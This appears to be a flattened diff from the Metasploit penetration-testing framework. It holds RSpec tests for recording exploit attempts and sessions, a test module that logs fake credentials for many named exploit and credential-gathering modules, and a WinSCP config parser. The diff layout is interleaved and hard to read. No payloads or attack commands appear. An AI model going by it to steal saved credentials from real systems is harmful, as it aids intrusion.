let(:vuln) do
|
||||
FactoryGirl.create(:mdm_vuln)
|
||||
end
|
||||
context "with a run" do
|
||||
let(:opts) do
|
||||
{
|
||||
workspace: workspace,
|
||||
refs: refs,
|
||||
host: host,
|
||||
vuln: vuln_with_match,
|
||||
run_id: run.id,
|
||||
session_id: session_id
|
||||
}
|
||||
end
|
||||
|
||||
let(:opts) do
|
||||
{
|
||||
workspace: workspace,
|
||||
refs: refs,
|
||||
host: host,
|
||||
vuln: vuln,
|
||||
}
|
||||
end
|
||||
context 'with a vuln' do
|
||||
specify do
|
||||
expect {
|
||||
report_exploit_success
|
||||
}.to change(Mdm::VulnAttempt,:count).by(1)
|
||||
end
|
||||
|
||||
context 'with a vuln' do
|
||||
specify do
|
||||
expect {
|
||||
it "should create a match result" do
|
||||
expect {
|
||||
report_exploit_success
|
||||
}.to change(MetasploitDataModels::AutomaticExploitation::MatchResult,:count).by(1)
|
||||
end
|
||||
|
||||
it "should create a match result with state SUCCEEDED" do
|
||||
report_exploit_success
|
||||
}.to change(Mdm::VulnAttempt,:count).by(1)
|
||||
expect(
|
||||
MetasploitDataModels::AutomaticExploitation::MatchResult.where(
|
||||
match_id: match.id,
|
||||
state: MetasploitDataModels::AutomaticExploitation::MatchResult::SUCCEEDED
|
||||
)
|
||||
).to exist
|
||||
end
|
||||
|
||||
context "calling report_exploit_success" do
|
||||
after(:each) do
|
||||
report_exploit_success
|
||||
end
|
||||
|
||||
it "should call create_match_result_for_vuln" do
|
||||
db_manager.should_receive(:create_match_result_for_vuln)
|
||||
end
|
||||
|
||||
it "should call create_match_result" do
|
||||
db_manager.should_receive(:create_match_result)
|
||||
end
|
||||
|
||||
it "should not call create_match_for_vuln" do
|
||||
db_manager.should_not_receive(:create_match_for_vuln)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
context 'without a run' do
|
||||
let(:vuln_with_match) { nil }
|
||||
|
||||
let(:match) {nil}
|
||||
|
||||
specify do
|
||||
expect {
|
||||
report_exploit_success
|
||||
}.not_to change(Mdm::VulnAttempt, :count)
|
||||
end
|
||||
|
||||
it "should not create a match result" do
|
||||
expect {
|
||||
report_exploit_success
|
||||
}.to change(MetasploitDataModels::AutomaticExploitation::MatchResult,:count).by(0)
|
||||
end
|
||||
|
||||
context "calling report_exploit_success" do
|
||||
after(:each) do
|
||||
report_exploit_success
|
||||
end
|
||||
|
||||
it "should not call create_match_result_for_vuln" do
|
||||
db_manager.should_not_receive(:create_match_result_for_vuln)
|
||||
end
|
||||
|
||||
it "should not call create_match_result" do
|
||||
db_manager.should_not_receive(:create_match_result)
|
||||
end
|
||||
|
||||
it "should not call create_match_for_vuln" do
|
||||
db_manager.should_not_receive(:create_match_for_vuln)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
context 'without a vuln' do
|
||||
let(:vuln) { nil }
|
||||
context "without a run" do
|
||||
let(:vuln) do
|
||||
FactoryGirl.create(:mdm_vuln)
|
||||
end
|
||||
|
||||
let(:opts) do
|
||||
{
|
||||
workspace: workspace,
|
||||
refs: refs,
|
||||
host: host,
|
||||
vuln: vuln,
|
||||
}
|
||||
end
|
||||
|
||||
context 'with a vuln' do
|
||||
specify do
|
||||
expect {
|
||||
report_exploit_success
|
||||
}.to change(Mdm::VulnAttempt,:count).by(1)
|
||||
end
|
||||
|
||||
it "should not create a match result" do
|
||||
expect {
|
||||
report_exploit_success
|
||||
}.to change(MetasploitDataModels::AutomaticExploitation::MatchResult,:count).by(0)
|
||||
end
|
||||
|
||||
context "calling report_exploit_success" do
|
||||
after(:each) do
|
||||
report_exploit_success
|
||||
end
|
||||
|
||||
it "should call create_match_result_for_vuln" do
|
||||
db_manager.should_receive(:create_match_result_for_vuln)
|
||||
end
|
||||
|
||||
it "should not call create_match_result" do
|
||||
db_manager.should_not_receive(:create_match_result)
|
||||
end
|
||||
|
||||
it "should not call create_match_for_vuln" do
|
||||
db_manager.should_not_receive(:create_match_for_vuln)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
context 'without a vuln' do
|
||||
let(:vuln) { nil }
|
||||
|
||||
specify do
|
||||
expect {
|
||||
report_exploit_success
|
||||
}.not_to change(Mdm::VulnAttempt, :count)
|
||||
end
|
||||
|
||||
it "should not create a match result" do
|
||||
expect {
|
||||
report_exploit_success
|
||||
}.to change(MetasploitDataModels::AutomaticExploitation::MatchResult,:count).by(0)
|
||||
end
|
||||
|
||||
context "calling report_exploit_success" do
|
||||
after(:each) do
|
||||
report_exploit_success
|
||||
end
|
||||
|
||||
it "should not call create_match_result_for_vuln" do
|
||||
db_manager.should_not_receive(:create_match_result_for_vuln)
|
||||
end
|
||||
|
||||
it "should not call create_match_result" do
|
||||
db_manager.should_not_receive(:create_match_result)
|
||||
end
|
||||
|
||||
it "should not call create_match_for_vuln" do
|
||||
db_manager.should_not_receive(:create_match_for_vuln)
|
||||
end
|
||||
end
|
||||
|
||||
specify do
|
||||
expect {
|
||||
report_exploit_success
|
||||
}.not_to change(Mdm::VulnAttempt, :count)
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -46,7 +46,6 @@ shared_examples_for 'Msf::DBManager::Session' do
|
|||
framework: framework,
|
||||
name: name
|
||||
)
|
||||
allow(d).to receive(:user_data_is_match?).and_return(false)
|
||||
d
|
||||
end
|
||||
|
||||
|
@ -122,37 +121,362 @@ shared_examples_for 'Msf::DBManager::Session' do
|
|||
)
|
||||
end
|
||||
|
||||
context 'with a match in user_data' do
|
||||
let(:vuln) do
|
||||
FactoryGirl.create(:mdm_vuln,
|
||||
name: parent_module_name,
|
||||
host: host)
|
||||
context 'with a run_id in user_data' do
|
||||
before(:each) do
|
||||
MetasploitDataModels::AutomaticExploitation::MatchSet.any_instance.stub(:create_match_for_vuln).and_return(nil)
|
||||
end
|
||||
|
||||
let(:match_set) do
|
||||
FactoryGirl.create(:automatic_exploitation_match_set, user: session_workspace.owner,workspace:session_workspace)
|
||||
end
|
||||
|
||||
let(:run) do
|
||||
FactoryGirl.create(:automatic_exploitation_run, workspace: session_workspace, match_set_id: match_set.id)
|
||||
end
|
||||
|
||||
let(:user_data) do
|
||||
{
|
||||
match: FactoryGirl.build(:automatic_exploitation_match, matchable: vuln),
|
||||
match_set: FactoryGirl.build(:automatic_exploitation_match_set),
|
||||
run: FactoryGirl.build(:automatic_exploitation_run, workspace: session_workspace),
|
||||
run_id: run.id
|
||||
}
|
||||
end
|
||||
|
||||
before do
|
||||
allow(module_instance).to receive(:user_data_is_match?).and_return(true)
|
||||
context 'with :workspace' do
|
||||
before(:each) do
|
||||
options[:workspace] = options_workspace
|
||||
end
|
||||
|
||||
it 'should not find workspace from session' do
|
||||
db_manager.should_not_receive(:find_workspace)
|
||||
|
||||
expect { report_session }.to change(Mdm::Vuln, :count).by(1)
|
||||
end
|
||||
end
|
||||
|
||||
it 'should make a MatchResult' do
|
||||
expect {
|
||||
context 'without :workspace' do
|
||||
it 'should find workspace from session' do
|
||||
db_manager.should_receive(:find_workspace).with(session.workspace).and_call_original
|
||||
|
||||
report_session
|
||||
}.to change(MetasploitDataModels::AutomaticExploitation::MatchResult, :count).by(1)
|
||||
end
|
||||
|
||||
it 'should pass session.workspace to #find_or_create_host' do
|
||||
db_manager.should_receive(:find_or_create_host).with(
|
||||
hash_including(
|
||||
:workspace => session_workspace
|
||||
)
|
||||
).and_return(host)
|
||||
|
||||
expect { report_session }.to change(Mdm::Vuln, :count).by(1)
|
||||
end
|
||||
end
|
||||
|
||||
it 'should not increase the host count' do
|
||||
expect { report_session }.not_to change(Mdm::Host, :count)
|
||||
end
|
||||
context 'with workspace from either :workspace or session' do
|
||||
it 'should pass normalized host from session as :host to #find_or_create_host' do
|
||||
normalized_host = double('Normalized Host')
|
||||
db_manager.stub(:normalize_host).with(session).and_return(normalized_host)
|
||||
# stub report_vuln so its use of find_or_create_host and normalize_host doesn't interfere.
|
||||
db_manager.stub(:report_vuln)
|
||||
|
||||
it 'should not increase the vuln count' do
|
||||
expect { report_session }.not_to change(Mdm::Vuln, :count)
|
||||
db_manager.should_receive(:find_or_create_host).with(
|
||||
hash_including(
|
||||
:host => normalized_host
|
||||
)
|
||||
).and_return(host)
|
||||
|
||||
report_session
|
||||
end
|
||||
|
||||
context 'with session responds to arch' do
|
||||
let(:arch) do
|
||||
FactoryGirl.generate :mdm_host_arch
|
||||
end
|
||||
|
||||
before(:each) do
|
||||
session.stub(:arch => arch)
|
||||
end
|
||||
|
||||
it 'should pass :arch to #find_or_create_host' do
|
||||
db_manager.should_receive(:find_or_create_host).with(
|
||||
hash_including(
|
||||
:arch => arch
|
||||
)
|
||||
).and_call_original
|
||||
|
||||
expect { report_session }.to change(Mdm::Vuln, :count).by(1)
|
||||
end
|
||||
end
|
||||
|
||||
context 'without session responds to arch' do
|
||||
it 'should not pass :arch to #find_or_create_host' do
|
||||
db_manager.should_receive(:find_or_create_host).with(
|
||||
hash_excluding(
|
||||
:arch
|
||||
)
|
||||
).and_call_original
|
||||
|
||||
expect { report_session }.to change(Mdm::Vuln, :count).by(1)
|
||||
end
|
||||
end
|
||||
|
||||
it 'should create an Mdm::Session' do
|
||||
expect {
|
||||
report_session
|
||||
}.to change(Mdm::Session, :count).by(1)
|
||||
end
|
||||
|
||||
it { should be_an Mdm::Session }
|
||||
|
||||
it 'should set session.db_record to created Mdm::Session' do
|
||||
mdm_session = report_session
|
||||
|
||||
session.db_record.should == mdm_session
|
||||
end
|
||||
|
||||
context 'with session.via_exploit' do
|
||||
|
||||
it 'should create Mdm::Vuln' do
|
||||
expect {
|
||||
report_session
|
||||
}.to change(Mdm::Vuln, :count).by(1)
|
||||
end
|
||||
|
||||
context 'created Mdm::Vuln' do
|
||||
let(:mdm_session) do
|
||||
Mdm::Session.last
|
||||
end
|
||||
|
||||
let(:rport) do
|
||||
nil
|
||||
end
|
||||
|
||||
before(:each) do
|
||||
Timecop.freeze
|
||||
|
||||
session.exploit_datastore['RPORT'] = rport
|
||||
|
||||
report_session
|
||||
end
|
||||
|
||||
after(:each) do
|
||||
Timecop.return
|
||||
end
|
||||
|
||||
subject(:vuln) do
|
||||
Mdm::Vuln.last
|
||||
end
|
||||
|
||||
it { expect(subject.host).to eq(Mdm::Host.last) }
|
||||
it { expect(subject.refs).to eq([]) }
|
||||
it { expect(subject.exploited_at).to be_within(1.second).of(Time.now.utc) }
|
||||
|
||||
context "with session.via_exploit 'exploit/multi/handler'" do
|
||||
context "with session.exploit_datastore['ParentModule']" do
|
||||
it { expect(subject.info).to eq("Exploited by #{parent_module_fullname} to create Session #{mdm_session.id}") }
|
||||
it { expect(subject.name).to eq(parent_module_name) }
|
||||
end
|
||||
end
|
||||
|
||||
context "without session.via_exploit 'exploit/multi/handler'" do
|
||||
let(:reference_name) do
|
||||
'windows/smb/ms08_067_netapi'
|
||||
end
|
||||
|
||||
before(:each) do
|
||||
path = File.join(
|
||||
parent_path,
|
||||
'exploits',
|
||||
"#{reference_name}.rb"
|
||||
)
|
||||
type = 'exploit'
|
||||
|
||||
# fake cache data for ParentModule so it can be loaded
|
||||
framework.modules.send(
|
||||
:module_info_by_path=,
|
||||
{
|
||||
path =>
|
||||
{
|
||||
:parent_path => parent_path,
|
||||
:reference_name => reference_name,
|
||||
:type => type,
|
||||
}
|
||||
}
|
||||
)
|
||||
|
||||
session.via_exploit = "#{type}/#{reference_name}"
|
||||
end
|
||||
|
||||
it { expect(subject.info).to eq("Exploited by #{session.via_exploit} to create Session #{mdm_session.id}") }
|
||||
it { expect(subject.name).to eq(reference_name) }
|
||||
end
|
||||
|
||||
context 'with RPORT' do
|
||||
let(:rport) do
|
||||
# use service.port instead of having service use rport so
|
||||
# that service is forced to exist before call to
|
||||
# report_service, which happens right after using rport in
|
||||
# outer context's before(:each)
|
||||
service.port
|
||||
end
|
||||
|
||||
let(:service) do
|
||||
FactoryGirl.create(
|
||||
:mdm_service,
|
||||
:host => host
|
||||
)
|
||||
end
|
||||
|
||||
it { expect(subject.service).to eq(service) }
|
||||
end
|
||||
|
||||
context 'without RPORT' do
|
||||
it { expect(subject.service).to be_nil }
|
||||
end
|
||||
end
|
||||
|
||||
context 'created Mdm::ExploitAttempt' do
|
||||
let(:rport) do
|
||||
nil
|
||||
end
|
||||
|
||||
before(:each) do
|
||||
Timecop.freeze
|
||||
|
||||
session.exploit_datastore['RPORT'] = rport
|
||||
|
||||
report_session
|
||||
end
|
||||
|
||||
after(:each) do
|
||||
Timecop.return
|
||||
end
|
||||
|
||||
subject(:exploit_attempt) do
|
||||
Mdm::ExploitAttempt.last
|
||||
end
|
||||
|
||||
it { expect(subject.attempted_at).to be_within(1.second).of(Time.now.utc) }
|
||||
# @todo https://www.pivotaltracker.com/story/show/48362615
|
||||
it { expect(subject.session_id).to eq(Mdm::Session.last.id) }
|
||||
it { expect(subject.exploited).to be_truthy }
|
||||
# @todo https://www.pivotaltracker.com/story/show/48362615
|
||||
it { expect(subject.vuln_id).to eq(Mdm::Vuln.last.id) }
|
||||
|
||||
context "with session.via_exploit 'exploit/multi/handler'" do
|
||||
context "with session.datastore['ParentModule']" do
|
||||
it { expect(subject.module).to eq(parent_module_fullname) }
|
||||
end
|
||||
end
|
||||
|
||||
context "without session.via_exploit 'exploit/multi/handler'" do
|
||||
before(:each) do
|
||||
session.via_exploit = parent_module_fullname
|
||||
end
|
||||
|
||||
it { expect(subject.module).to eq(session.via_exploit) }
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
context 'returned Mdm::Session' do
|
||||
before(:each) do
|
||||
Timecop.freeze
|
||||
end
|
||||
|
||||
after(:each) do
|
||||
Timecop.return
|
||||
end
|
||||
|
||||
subject(:mdm_session) do
|
||||
report_session
|
||||
end
|
||||
|
||||
#
|
||||
# Ensure session has attributes present so its on mdm_session are
|
||||
# not just comparing nils.
|
||||
#
|
||||
|
||||
it 'should have session.info present' do
|
||||
session.info.should be_present
|
||||
end
|
||||
|
||||
it 'should have session.sid present' do
|
||||
session.sid.should be_present
|
||||
end
|
||||
|
||||
it 'should have session.platform present' do
|
||||
session.platform.should be_present
|
||||
end
|
||||
|
||||
it 'should have session.type present' do
|
||||
session.type.should be_present
|
||||
end
|
||||
|
||||
it 'should have session.via_exploit present' do
|
||||
session.via_exploit.should be_present
|
||||
end
|
||||
|
||||
it 'should have session.via_payload present' do
|
||||
session.via_exploit.should be_present
|
||||
end
|
||||
|
||||
it { expect(subject.datastore).to eq(session.exploit_datastore.to_h) }
|
||||
it { expect(subject.desc).to eq(session.info) }
|
||||
it { expect(subject.host_id).to eq(Mdm::Host.last.id) }
|
||||
it { expect(subject.last_seen).to be_within(1.second).of(Time.now.utc) }
|
||||
it { expect(subject.local_id).to eq(session.sid) }
|
||||
it { expect(subject.opened_at).to be_within(1.second).of(Time.now.utc) }
|
||||
it { expect(subject.platform).to eq(session.platform) }
|
||||
it { expect(subject.routes).to eq([]) }
|
||||
it { expect(subject.stype).to eq(session.type) }
|
||||
it { expect(subject.via_payload).to eq(session.via_payload) }
|
||||
|
||||
context "with session.via_exploit 'exploit/multi/handler'" do
|
||||
it "should have session.via_exploit of 'exploit/multi/handler'" do
|
||||
session.via_exploit.should == 'exploit/multi/handler'
|
||||
end
|
||||
|
||||
context "with session.exploit_datastore['ParentModule']" do
|
||||
it "should have session.exploit_datastore['ParentModule']" do
|
||||
session.exploit_datastore['ParentModule'].should_not be_nil
|
||||
end
|
||||
|
||||
it { expect(subject.via_exploit).to eq(parent_module_fullname) }
|
||||
end
|
||||
end
|
||||
|
||||
context "without session.via_exploit 'exploit/multi/handler'" do
|
||||
before(:each) do
|
||||
reference_name = 'windows/smb/ms08_067_netapi'
|
||||
path = File.join(
|
||||
parent_path,
|
||||
'exploits',
|
||||
"#{reference_name}.rb"
|
||||
)
|
||||
type = 'exploit'
|
||||
|
||||
# fake cache data for ParentModule so it can be loaded
|
||||
framework.modules.send(
|
||||
:module_info_by_path=,
|
||||
{
|
||||
path =>
|
||||
{
|
||||
:parent_path => parent_path,
|
||||
:reference_name => reference_name,
|
||||
:type => type,
|
||||
}
|
||||
}
|
||||
)
|
||||
|
||||
session.via_exploit = "#{type}/#{reference_name}"
|
||||
end
|
||||
|
||||
it "should not have session.via_exploit of 'exploit/multi/handler'" do
|
||||
session.via_exploit.should_not == 'exploit/multi/handler'
|
||||
end
|
||||
|
||||
it { expect(subject.via_exploit).to eq(session.via_exploit) }
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -359,7 +359,126 @@ class Metasploit3 < Msf::Auxiliary
|
|||
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'sap', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)
|
||||
end
|
||||
|
||||
|
||||
def test_mount_cifs_creds
|
||||
mod = framework.post.create('linux/gather/mount_cifs_creds')
|
||||
mock_post_mod_session(mod)
|
||||
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'smb', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)
|
||||
end
|
||||
|
||||
def test_mysql_enum
|
||||
mod = framework.auxiliary.create('admin/mysql/mysql_enum')
|
||||
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'mysql', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)
|
||||
end
|
||||
|
||||
def test_jtr_oracle_fast
|
||||
mod = framework.auxiliary.create('analyze/jtr_oracle_fast')
|
||||
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'oracle', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)
|
||||
end
|
||||
|
||||
def test_vbulletin_vote_sqli_exec
|
||||
mod = framework.exploits.create('unix/webapp/vbulletin_vote_sqli_exec')
|
||||
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'http', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)
|
||||
end
|
||||
|
||||
def test_sap_mgmt_con_brute_login
|
||||
mod = framework.auxiliary.create('scanner/sap/sap_mgmt_con_brute_login')
|
||||
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'http', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)
|
||||
end
|
||||
|
||||
def test_sap_ctc_verb_tampering_user_mgmt
|
||||
mod = framework.auxiliary.create('scanner/sap/sap_ctc_verb_tampering_user_mgmt')
|
||||
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'http', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)
|
||||
end
|
||||
|
||||
def test_scanner_oracle_login
|
||||
mod = framework.auxiliary.create('scanner/oracle/oracle_login')
|
||||
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'tcp', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF, status: Metasploit::Model::Login::Status::SUCCESSFUL)
|
||||
end
|
||||
|
||||
def test_isqlplus_login
|
||||
mod = framework.auxiliary.create('scanner/oracle/isqlplus_login')
|
||||
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'tcp', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)
|
||||
end
|
||||
|
||||
def test_dvr_config_disclosure
|
||||
mod = framework.auxiliary.create('scanner/misc/dvr_config_disclosure')
|
||||
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'http', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)
|
||||
end
|
||||
|
||||
def test_lotus_domino_login
|
||||
mod = framework.auxiliary.create('scanner/lotus/lotus_domino_login')
|
||||
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'http', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)
|
||||
end
|
||||
|
||||
def test_openmind_messageos_login
|
||||
mod = framework.auxiliary.create('scanner/http/openmind_messageos_login')
|
||||
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'http', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)
|
||||
end
|
||||
|
||||
def test_dell_idrac
|
||||
mod = framework.auxiliary.create('scanner/http/dell_idrac')
|
||||
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'http', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)
|
||||
end
|
||||
|
||||
def test_windows_deployment_services
|
||||
mod = framework.auxiliary.create('scanner/dcerpc/windows_deployment_services')
|
||||
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'dcerpc', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)
|
||||
end
|
||||
|
||||
def test_couchdb_login
|
||||
mod = framework.auxiliary.create('scanner/couchdb/couchdb_login')
|
||||
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'couchdb', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)
|
||||
end
|
||||
|
||||
def test_wp_w3_total_cache_hash_extract
|
||||
mod = framework.auxiliary.create('gather/wp_w3_total_cache_hash_extract')
|
||||
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'http', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)
|
||||
end
|
||||
|
||||
def test_windows_deployment_services_shares
|
||||
mod = framework.auxiliary.create('gather/windows_deployment_services_shares')
|
||||
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'smb', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)
|
||||
end
|
||||
|
||||
def test_vbulletin_vote_sqli
|
||||
mod = framework.auxiliary.create('gather/vbulletin_vote_sqli')
|
||||
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'http', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)
|
||||
end
|
||||
|
||||
def test_hp_snac_domain_creds
|
||||
mod = framework.auxiliary.create('gather/hp_snac_domain_creds')
|
||||
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'hp', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)
|
||||
end
|
||||
|
||||
def test_d20pass
|
||||
mod = framework.auxiliary.create('gather/d20pass')
|
||||
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'hp', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)
|
||||
end
|
||||
|
||||
def test_doliwamp_traversal_creds
|
||||
mod = framework.auxiliary.create('gather/doliwamp_traversal_creds')
|
||||
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'hp', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)
|
||||
end
|
||||
|
||||
def test_apache_rave_creds
|
||||
mod = framework.auxiliary.create('gather/apache_rave_creds')
|
||||
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'Apache Rave', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)
|
||||
end
|
||||
|
||||
def test_wordpress_long_password_dos
|
||||
mod = framework.auxiliary.create('dos/http/wordpress_long_password_dos')
|
||||
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'http', user: FAKE_USER, proof: FAKE_PROOF)
|
||||
end
|
||||
|
||||
def test_modicon_password_recovery
|
||||
mod = framework.auxiliary.create('admin/scada/modicon_password_recovery')
|
||||
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'http', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)
|
||||
end
|
||||
|
||||
def test_advantech_webaccess_dbvisitor_sqli
|
||||
mod = framework.auxiliary.create('admin/scada/advantech_webaccess_dbvisitor_sqli')
|
||||
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'http', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)
|
||||
end
|
||||
|
||||
def run
|
||||
counter_all = 0
|
||||
|
@ -389,4 +508,8 @@ class Metasploit3 < Msf::Auxiliary
|
|||
print_line
|
||||
end
|
||||
|
||||
def mock_post_mod_session(mod)
|
||||
mod.define_singleton_method(:session_db_id) { 1 }
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -0,0 +1,13 @@
|
|||
#!/usr/bin/env ruby
|
||||
|
||||
$LOAD_PATH.unshift File.expand_path('../../lib', __FILE__)
|
||||
require 'rex/parser/winscp'
|
||||
|
||||
exit unless ARGV.count == 1
|
||||
|
||||
include Rex::Parser::WinSCP
|
||||
|
||||
puts ARGV.first
|
||||
read_and_parse_ini(ARGV.first).each do |res|
|
||||
puts res.inspect
|
||||
end
|
Loading…
Reference in New Issue